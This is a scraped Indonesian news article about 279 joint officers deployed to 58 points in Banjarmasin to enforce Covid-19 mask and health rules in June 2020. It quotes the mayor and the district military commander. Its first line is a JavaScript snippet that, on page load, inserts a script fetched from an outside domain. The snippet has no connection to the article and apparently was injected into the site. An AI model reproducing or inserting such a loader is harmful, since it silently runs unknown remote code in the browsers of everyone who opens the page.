(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

279 Aparat Sasar 58 Titik di Banjarmasin, Tekan Kasus Covid-19


KANALKALIMANTAN.COM, BANJARMASIN – Meski pelaksanaan Kota Banjarmasin tidak dapat menerapkan new normal atau kenormalan baru, berbagai upaya pun diambil guna menekan penyebaran Covid-19 di Kota Banjarmasin.

Di antaranya, dengan mengerahkan aparat gabungan, baik dari unsur TNI-Polri maupun dari Pemko Banjarmasin seperti Satpol PP dan Dinas Perhubungan.

Nantinya, ada 279 personel gabungan diterjunkan menyasar 58 titik yang tersebar di Kota Banjarmasin. Seperti pasar, fasilitas umum, tempat ibadah dan pos-pos Pembatasan Sosial Berskala Kecil (PSBK) yang tersebar di beberapa titik.

“Kami berharap penegakan disiplin ini merupakan upaya kita untuk terus mengedukasi masyarakat. Bahwa Banjarmasin ini harus ada upaya untuk pencegahan dan penanganan Covid-19,” ujar Wali Kota Banjarmasin H Ibnu Sina usai apel penegakan disiplin di Balaikota Banjarmasin, Kamis (4/6/2020).

Dia berharap, dengan diterjunkannya aparat gabungan ke 58 titik ini, pemko bersama aparat gabungan dapat memberikan tindakan tegas agar kasus positif Covid-19 di Kota Banjarmasin dapat ditekan.

“Kalau tidak pakai masker, langsung berikan tindakan saja. Saya buat keputusan dan memberikan mandat kepada Dandim 1007 Banjarmasin dibantu oleh Kapolresta Banjarmasin, Kasatpol PP dan Kadishub Banjarmasin untuk memberikan penegakan hukum termasuk penegakan hukum UU Kesehatan,” tegas Ibnu.

Dia mengatakan, berdasar Perwali yang sebelumnya mengatur PSBB lalu, sanksi yang diberikan, yaitu hukuman fisik seperti push up.

Sementara, Dandim 1007 Banjarmasin Kolonel Inf Anggara Sitompul mengakui, sebanyak 279 personel yang disebar di 58 titik ini tak semuanya dapat tercover.

Sehingga, solusi yang diambil, yaitu dengan mendatangi beberapa tempat, seperti rumah makan maupun musala.

Lalu, bagaimana jika aparat gabungan mendapati ada masyarakat yang tidak mematuhi protokol kesehatan?

“Kita tidak melulu menerapkan sanksi, karena sanksi itu opsi terakhir dari setiap kegiatan,” kata Kolonel Anggara.

Anggara menambahkan, aparat gabungan akan memberikan edukasi kepada masyarakat untuk mematuhi protokol kesehatan. Namun demikian ada batasan-batasan seperti jika memungkinkan diberi sanksi tindakan disiplin.

“Ketika perlu kita berikan sanksi. Dengan tujuan untuk menyadarkan, dan itu penting,” katanya.

Penerapan sanksi disiplin ini sendiri diberikan sebagai opsi terakhir. Atau lebih ke sanksi moral agar masyarakat harus disiplin dalam menerapkan protokol kesehatan. (kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Dhani

Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

9 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

11 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

12 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

14 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

16 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

17 jam ago

This website uses cookies.